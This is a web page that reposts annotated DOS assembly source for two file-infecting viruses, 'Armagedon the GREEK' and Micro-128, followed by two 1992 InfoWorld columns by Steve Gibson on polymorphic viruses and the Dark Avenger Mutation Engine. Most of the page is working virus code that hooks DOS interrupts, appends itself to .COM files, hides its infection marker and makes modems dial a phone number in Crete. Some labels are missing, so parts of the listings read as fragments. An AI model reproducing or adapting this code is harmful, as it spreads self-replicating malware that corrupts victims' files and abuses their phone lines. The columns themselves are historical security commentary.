je Infect_Error
jmp short Continue_Infect
jmp Pop_And_Quit_Infect
jmp End_Infect
jmp Close_File
jmp Reset_DTA
cmp bx,3 ;If there are less than 3
jb Infect_Error ;clusters free, quit.

pop ds ;DS:DX is filename address
pop dx ;again.
push ds
push dx

mov word ptr cs:[filename_seg],ds ;Save DS:DX again
mov word ptr cs:[filename_off],dx

mov ax,4300
int 21 ;Get the file attributes

mov word ptr cs:[attribs],cx ;Store attributes
mov ax,4301
xor cx,cx ;Set attributes to zero
int 21 ;to insure write access.

mov bx,0FFFF
mov ah,48 ;Allocate all free memory
int 21 ;by trying to allocate more
;than the computer possibly can,
mov ah,48 ;then using the returned number
int 21 ;(free mem) as the amount to

mov word ptr cs:[mem_allocated],ax ;save the segment of
;allocated memory

mov ax,cs ;point ds to cs
mov ds,ax
mov dx,offset new_DTA
mov ah,1A
int 21 ;Set DTA to memory after virus

pop dx
pop ds
mov ax,3D02
clc ;clear carry (unneccessary)
int 21 ;Open file for read/write access

jc Error_After_Open ;on error go to
mov bx,ax ;move handle to bx
mov word ptr cs:[handle],ax ;save file handle
mov cx,0FFFF
mov ax,word ptr cs:[mem_allocated] ;Get segment of
;memory to use
mov ds,ax ;point ds to it
mov dx,end_main_virus-start
mov ah,3F
clc ;clear carry
int 21 ;Read 0ffff byte from file

jc Error_After_Open ;If error go to
mov word ptr cs:[file_size],ax ;save file size
;(number of bytes read)
cmp ax,0E000
ja Error_After_Open ;File is too large, go to
cmp ax,end_main_virus-start ;Is file smaller than virus?
jb Not_Infected ;Yes, therefore it isn't
;infected, goto Not_Infected
mov si,offset (end_main_virus+1-100)
add si,si ;Set SI to point to area where
sub si,15 ;the text message would be if
;file is already infected.
mov cx,13 ;Length of Text_Message
mov di,offset Text_Message ;("Armagedon the GREEK")

mov al,byte ptr [si] ;This loop checks for the text
mov ah,cs:byte ptr [di] ;message in the file being
cmp ah,al ;examined. If it's there, it
jne Not_Infected ;jumps to Close_File,
inc si ;otherwise it jumps to Not_Infected
inc di
loop Check_For_Infection

jmp short Close_File
mov ax,4200
mov bx,word ptr cs:[handle]
xor cx,cx
mov dx,cx
int 21 ;Move to beginning of file

jc Close_File
mov si,100
mov cx,offset (end_main_virus-100)
xor di,di
mov ax,word ptr cs:[mem_allocated]
mov ds,ax

mov al,cs:[si] ;Copy virus onto file in
mov [di],al ;memory. "repnz movsw"
inc si ;would've worked a lot
inc di ;better.
loop Copy_Virus

mov ax,5700
mov bx,word ptr cs:[handle]
int 21 ;Get File Date/Time

mov word ptr cs:[file_time],cx ;Save File Time
mov word ptr cs:[file_date],dx ;Save File Date
mov ax,word ptr cs:[mem_allocated]
mov ds,ax
mov si,offset (end_main_virus-100)
mov al,[si] ;encrypt first storage
add al,0Bh ;byte.
mov [si],al
xor dx,dx
mov cx,word ptr cs:[file_size] ;Calculate new file size
add cx,offset end_main_virus-100 ;(add virus size)
mov bx,word ptr cs:[handle]
mov ah,40
int 21 ;Rewrite file

mov word ptr cx,cs:[file_time]
mov word ptr dx,cs:[file_date]
mov bx,word ptr cs:[handle]
mov ax,5701
int 21 ;Restore File Time

mov bx,word ptr cs:[handle]
mov ah,3E
int 21 ;Close File

push cs
pop ds
mov dx,80
mov ah,1A
int 21 ;Reset DTA to default

mov ax,word ptr cs:[mem_allocated]
mov es,ax
mov ah,49
int 21 ;Release Allocated Memory

mov ax,word ptr cs:[filename_seg]
mov ds,ax
mov dx,word ptr cs:[filename_off]
mov ax,4301
mov cx,word ptr cs:[attribs]
int 21 ;Restore File Date/Time

jmp short End_Infect

pop ds
pop dx
jmp short End_Infect
pop di es bp dx ax cx si bx ds
jmp Go_Int_21

;* Timer Click (INT 8) Handler *
;* This is Used to Dial Numbers *
push bp ds es ax bx cx dx si di

pushf ;Push flags
;call word ptr cs:[Int_08_Off] ;Run old timer click
db 2e,0ff,1e,26,01

call Timing_Routine

push cs
pop ds
mov ah,5
mov ch,byte ptr [save_time_a]
cmp ah,ch
ja Quit_Int_08
;if [save_time_a] !=6, quit.
mov ah,6
cmp ah,ch
jb Quit_Int_08

mov ah,byte ptr [Ready_Byte]
cmp ah,1
je Go_Dial

mov ah,1
mov byte ptr [Ready_Byte],ah
jmp short Quit_Int_08

call Write_Ports

inc word ptr [Bytes_Written]
mov ax,word ptr [Bytes_Written]
cmp ax,21C
jne Quit_Int_08
xor ax,ax ;Reset Counters
mov byte ptr [Ready_Byte],ah
mov word ptr [Bytes_Written],ax
mov byte ptr [Data_Ready],ah
pop di si dx cx bx ax es ds bp

;* Timing Routine For Dialing *

push cs
pop ds

xor al,al
mov ah,byte ptr [Timing_Counter]
cmp ah,11
jne Inc_Time_Count
mov ah,byte ptr [save_date]
cmp ah,3bh
jne Inc_Saved_Date
mov ah,byte ptr [save_time_b]
cmp ah,3bh
jne Inc_S_T_B
mov ah,byte ptr [save_time_a]
cmp ah,17
jne Inc_S_T_A

mov byte ptr [save_time_a],al
mov byte ptr [save_time_b],al
mov byte ptr [save_date],al
mov byte ptr [Timing_Counter],al
inc byte ptr [Timing_Counter]
inc byte ptr [save_date]
jmp short Time_Count
inc byte ptr [save_time_b]
jmp short Store_Save_Date
inc byte ptr [save_time_a]
jmp short Save_T_B

dial_string db '+++aTh0m0s7=35dp081,,,,141' ;Dial string To call
;Speaking Clock
;in Greece (Crete)

;* Write Data to Com Ports *

mov al,byte ptr [Data_Ready]
cmp al,1
je Ret_Write_Ports ; Jump if equal

mov al,byte ptr [Ports_Initialized] ;Have Ports been
cmp al,1 ;Initialized yet?
je Already_Initialized

mov cx,3
mov dx,cx
xor ah,ah
mov al,83 ;Init Comport
int 14 ;1200 Baud, No Parity,
;1 Stop Bit, 8 bit Word Len.
loop Init_Ports ;Initalize all Ports 1-4

mov al,1
mov byte ptr [Ports_Initialized],al

jmp short Ret_Write_Ports

push cs
pop ds
mov si,offset dial_string
mov al,byte ptr [Character_Count]
cmp al,1A
jne Write_From_SI_To_Ports
jmp short Setup_write

xor ah,ah
add si,ax
mov al,[si]
mov dx,3F8 ;Outport from SI to standard
out dx,al ;addresses of ports 1-4
mov dx,2F8 ;and increment character count
out dx,al
mov dx,2E8
out dx,al
mov dx,3E8
out dx,al
inc byte ptr [Character_Count]
jmp short Ret_Write_Ports

mov cx,3
mov dx,cx
mov al,0dh
mov ah,1
int 14 ;Write a 1 to all ports
loop Write_To_All_Ports

mov ax,1
mov byte ptr [Data_Ready],al
mov byte ptr [Character_Count],ah
mov byte ptr [Ports_Initialized],ah


; Virus Entry Point

mov ah,0e0
int 21 ;Check for Installation
cmp ax,0dada ;Was it installed?
jne Install_Virus ;No? Then install it.
jmp Already_Installed ;Yes? Go to Already_Installed
push cs
pop ds
mov ax,3521 ;Get Int 21 Address
int 21

mov word ptr [Int_21_Off],bx ;Save old Int 21
mov word ptr [Int_21_Seg],es ;Vector
mov dx,offset Int_21
mov ax,2521
int 21 ;Set Int 21

mov ax,3508
int 21 ;Get Int 8 Address

mov word ptr [Int_08_Off],bx
mov word ptr [Int_08_Seg],es ;Save old Vectors
mov dx,offset Int_08
mov ax,2508
int 21 ;Set Int 08

mov ah,2C
int 21 ;Get Time

mov byte ptr [save_time_a],ch
mov byte ptr [save_time_b],cl ;Save Time and Date
mov byte ptr [save_date],dh

mov ax,cs:[2c] ;Get environment block
mov ds,ax ;address and put it in DS
xor si,si ;DS:SI=beginning of Env. B.
mov al,[si] ;Search through environment
cmp al,1 ;block for program executed.
je Found_Filename
inc si
jmp short Find_The_Filename

inc si
inc si
mov dx,si ;DS:DX = Filename
mov ax,cs
mov es,ax ;Set segment (ES) = CS
mov bx,5a ;Request 5a0h (1440 dec) bytes
mov ah,4a
int 21 ;Change Allocated Memory

mov bx,word ptr cs:[81] ;Beginning of Command Line
mov ax,cs
mov es,ax ;set ES=CS again.
mov word ptr cs:[cs_save_1],ax
mov word ptr cs:[cs_save_2],ax ;Re-Execute program
mov word ptr cs:[cs_save_3],ax ;To make Int 27 cause
mov ax,4B00 ;program to go mem-res
mov word ptr cs:[save_ss],ss ;without terminating
mov word ptr cs:[save_sp],sp ;regular program.
;call far cs:[Int_21_Off] ;Call Load and Execute
db 2e,0ff,1e,22,01

mov ax,word ptr cs:[save_ss]
mov ss,ax
mov ax,word ptr cs:[save_sp] ;Restore Stack
mov sp,ax
mov ax,cs
mov ds,ax
mov dx,537 ;DX=End of virus
int 27 ;Terminate & stay resident
mov ah,0E1 ;Get CS of virus in memory
int 21
mov si,offset Install_Jump
mov cs:[si+3],ax ;Setup Jump
mov ax,offset After_Jump
mov cs:[si+1],ax
mov ax,word ptr cs:[file_size]
mov bx,cs

db 0ea
IP_For_Jump db 0,0
CS_For_Jump db 0,0

mov cx,ax
mov ds,bx
mov si,100
mov di,offset storage_bytes

Restore_File: ;Restore File in memory
mov al,[di]
mov [si],al
inc si
inc di
loop Restore_File

mov si,offset return_jump
mov cs:[si+3],ds ;set host segment
mov al,byte ptr ds:[100] ;Get first byte of host,
sub al,0bh ;then unencrypt first byte
mov byte ptr ds:[100],al ;of Storage_Bytes
mov ax,ds ;and restore it
mov es,ax ;restore ES and SS to point
mov ss,ax ;to DS/CS

;* jmp far ptr start ;Return control to COM file
db 0ea
host_offset db 00,01
host_segment db 07,13

Text_Message db 'Armagedon the GREEK'

Storage_Bytes db 0D8,20 ;First Byte Encrypted

word_space db 8 dup (?)

new_DTA :
end start

;* Micro-128 *
;* The Micro-128 virus was, for a while, the smallest known memory *
;*resident non-overwriting .COM infector. It copies itself onto the *
;*interrupt table and hooks Int 21h so that, while in memory, it stores *
;*Int 21's address in the Int E0 field. This allows it to simple call *
;*Int E0 when it wants an Int 21h. While it does have a few nice tricks *
;*in it to make it compact, it is a fairly simple virus and is easy to *
;*understand. *
;* *
;*Note: Micro-128 was originally assembled with an assembler other than *
;* my version of TASM, so to keep the bytes for XOR exactly the same *
;* all XOR's are entered directly, with their assembler commands *
;* commented out. *
.model tiny
org 100h

db 0e9h,03h,0 ;Jmp Virus_Entry
int 20h
mov di,100h
push di
mov si,di
add si,[di+1] ;Get offset
movsw ;Restore Storage Bytes


;xor ax,ax ;Set ES = 0 (Interrupt Table)
db 31h, 0c0h

mov es,ax
mov di,303h ;Space in Int Table
mov cl,7Dh ;Virus Size
rep movsb ;Copy Virus.
scasw ;ES:DI = 0?
jnz Done_Install ;No, Already Installed.
std ;Set direction flag so that
;stosw stores, then decrements
;SI and DI.

xchg ax,es:[di+0FD04h] ;DI+FD04h = 86h the first time,
;and 84h the second. These are
;Int 21h's Segment and Offset

stosw ;Stores old handler to
;CS_21 and IP_21.

mov ax,33Fh ;New offset of Int 21 Handler.
cmc ;Complement carry
jc Hook_Int_21 ;jump Hook_Int_21

cld ;Clear direction flag.

push cs ;Return to Host.
pop es

mov al,0 ;Setup to go from beginning of
mov ah,42h ;Move File pointer
;xor cx,cx ;Zero Segment and Offset,
db 31h,0c9h

;xor dx,dx ;Go to either beginning or end.
db 31h,0d2h

int 0E0h
mov cl,3 ;Used to make code tighter.
mov dh,3

db 0e9h,03h,0 ;Jump Inside_21

cmp ah,4bh
jnz Go_Int_21 ;Jump if not execute.

push ax bx dx ds ;Save registers

mov ax,3D02h ;Open File Read/Write
int 0E0h
jc Close_File
mov bx,ax ;Move file handle to BX

push cs
pop ds

call Go_Beginning ;Go to start of file

mov ah,3Fh ;DX=300 CX=3
int 0E0h ;Read 3 bytes from file

cmp byte ptr ds:[300h],'M' ;Is it an .EXE?
je Close_File ;If so, close.

dec ax ;AX = 2 (AX = 3 from read)
call Move_FP ;Go to end of file.
mov ds:[33dh],ax ;Save file length

mov ah,40h ;Write virus to file
mov cl,80h ;128 bytes.
int 0E0h

call Go_Beginning ;Go back to the beginning
mov dl,3Ch ;and write in jump.
mov ah,40h
int 0E0h
mov ah,3Eh ;Close file
int 0E0h
pop ds dx bx ax

db 0EAh
IP_21 dw ? ;When in memory, these are
CS_21 dw ? ;Located at the entry for
;Int E0h, making any call to
;that interrupt go to INT 21h.
end start
Polymorphic viruses escape detection but get our attention

Last week, we faced the implications of the next-generation
ultrastealth viruses that are now reproducing themselves among us.
Because a few of these viruses have already been found to be
employing this new scanner-beating self-modifying technology and
because their is nothing particularly difficult about writing such
a polymorphic virus, I feel there is more good than harm in a
public discussion of this nasty new breed.
(I know that many readers are wondering what happened to my
promised solution to the spread of these viruses; it will come next
week after I illustrate the danger of these new germs.)
viruses can be detested by recognizing either their dynamic
actions or their static presence. Dynamic-action recognition
provides the potential benefit of stopping unknown viruses.
Nevertheless, today's smarter viruses can circumvent such
interception easily. If the virus wishes to have a higher level of
software access to the system, several techniques are known for
getting underneath DOS and BIOS interception, so resident blockers
are all but useless.
Static-presence recognition scans the entire system for the
"fingerprints" of known viruses. Today's deliberately elusive
polymorphic viruses can evade this detection entirely.
The simple idea behind the polymorphic virus is that the bulk of
the virus can be scrambled by a random number. Every IBM-compatible
PC has a counter/timer chip that can be used as the source for a
completely nondeterministic 16-bit random number. When the virus
clones itself into a new environment, it can use the instantaneous
value of the counter/timer as a scrambling starting point. By
algorithmically altering every byte of itself based upon this
initial number, the newly propagated virus will be immune to
fingerprint detection.
There's one flaw in this approach: The small kernel of code used
to unscramble the body of the virus must be left in an unscrambled
state so the computer can execute it and unscramble the balance of
the virus. This means the unscrambling portion could still be
fingerprinted and identified.
This problem could be easily solved: By deliberately interlacing
irrelevant "do nothing" instructions among those that perform the
unscrambling work, every stored instance of the unscrambling kernel
could be completely different from all the others. As the virus
copies itself to a new destination, it randomly draws from a
repertory of superfluous instructions, peppering them liberally
throughout the new copy of itself.
As you can see, these techniques can be teamed up with activity
interception avoidance to create a new breed of viruses that would
be virtually impossible to detect.
It is quite annoying that we must expend our resources in the
prevention of this software terrorism. But there may be some value
in experiencing this terrorism now. Most viruses have been the work
of amateurs and are far from devastating.
Being told on Friday the 13th that your computer is "stoned" is
annoying as hell, and having to type "Happy Birthday to Joshi"
early in January makes you wonder who's in charge. But it sure
beats being informed that your company's customer list and the
archived source code for your next unreleased product have just
been transmitted by modem to your competition. When your network's
database and modem servers receive remote procedure calls (RPCs)
from remote workstations, are you sure they should answer that
We need to begin tightening up our systems and taking security
very seriously. Personal computing is not just a diversion from the
tedium of sharpening pencils; it is a serious endeavor that is
extremely prone to organized and deliberate attack. If a bored,
pimply faced highschool kid is capable of penetrating your
corporation's security with his annoying but benign virus, you had
better hope he never wants to hurt you.

Steve Gibson is the developer and publisher of SpinRite and
president of Gibson Research Corp., based in Irvine California.
From April 20,1992 issue of InfoWorld\
At last, how to protect yourself from polymorphic viruses

My past two columns concerning the threat presented by polymorphic
viruses triggered an informative conversation with the industry's
chief virus researcher, John McAfee. During that conversation I
learned that things are even worse than I'd supposed.
It turns out that the " Dark Avenger" bulletin board system, which
disseminates virus code, has recently published the complete source
code for the Dark Avenger Mutation engine. The mutation engine is
nothing less than a first-class code kernel that can be tacked on
to any existing or future virus to turn it into a nearly impossible
to detect self-encrypting polymorphic virus.
My examination of a sample virus encrypted by the Mutation Engine
provided by McAfee revealed alarming capabilities. Not only do Dark
Avenger Mutation Engine viruses employ all of the capabilities I
outlined in last week's theoretical polymorphic virus column, but
they also use a sophisticated reversible encryption algorithm
The Mutation Engine uses a metalanguage-driven algorithm generator
that allows it to create an infinite variety of completely original
encryption algorithms. The resulting unique algorithms are then
salted with superflous instructions, resulting in decryption
algorithms varying from 5 to 200 bytes long.
Because McAfee has already received many otherwise known viruses
that are now encapsulated with the Mutation Engine's polymorphic
encryption, it's clear that viruses of this new breed are now
traveling among us.
It is clear that the game is forever changed; the sophistication
of the Mutating Engine is amazing and staggering. Simple pattern-
matching virus scanners will still reliably detect the several
thousand well-known viruses; however these scanners are completely
incapable of detecting any of the growing number of viruses now
being cloaked by the Dark Avenger Mutation Engine.
So what can we ultimately do to twart current and future software
viruses? After brainstorming through the problem with some of our
industry's brightest developers and systems architects, I've
reached several conclusions:
First, scanning for known viruses within executable program code
is fundamentally a dead end. It's the only solution we have for the
moment, but the detectors can only find the viruses they are aware
of, and new developments such as the Mutation Engine render even
these measures obsolete.
Second, detecting the reproductive proclivities of viruses on the
prowl is prone to frequent false alarms and ultimately complete
avoidance. With time the viruses will simply circumvent the
detectors, at which time the detectors will only misfire for self-
modifying benign programs.
Third, the Achilles' heel of our current DOS-based PC is its
entirely unprotected nature. As long as executable programs( such
as benign and helpful system utilities) are able to freely and
directly access and alter the operating system and its file system,
our machines will be vulnerable to deliberate viral attack.
So here's my recommendation.
Only a next-generation protected mode operating system can enforce
the levels of security required to provide complete viral immunity.
By marking files and code overlays as "read and execute only" and
by prohibiting the sorts of direct file system tampering performed
by our current crop of system utilities, such operating systems
will be able to provide their client programs with complete viral
The final Achilles' heel of a protected-mode operating system is
the system boot process, before and during which it is still
potentially vulnerable. By changing the system ROM-BIOS' boot
priorty to favor hard disc booting over floppy, thios last viral
path can be closed and blocked as well.

note; Steve Gibson is the developer and publisher of SpinRite and
president of Gibson Research Corp., based in Irvine, Calif. Send
comments to InfoWorld via MCImail (259-2147) or fax them to (415)

Rate this item
(0 votes)

Leave a comment

Please do not enter any marketing or illegal statements | කරුණාකර අලෙවිකරණ හෝ නීති විරෝධී ප්‍රකාශන ඇතුළත් නොකරන්න.

More in this category:

Subscribe to Weekly Email Newsletter

Joomla Extensions powered by Joobi

Articles Archive

Articles Calendar

« January 2021 »
Mon Tue Wed Thu Fri Sat Sun
        1 2 3
4 5 6 7 8 9 10
11 12 13 14 15 16 17
18 19 20 21 22 23 24
25 26 27 28 29 30 31
This Week
Last Week
This Month
Last Month
All days
Your IP:
2021-01-16 10:39

Video Of The Day

Go to top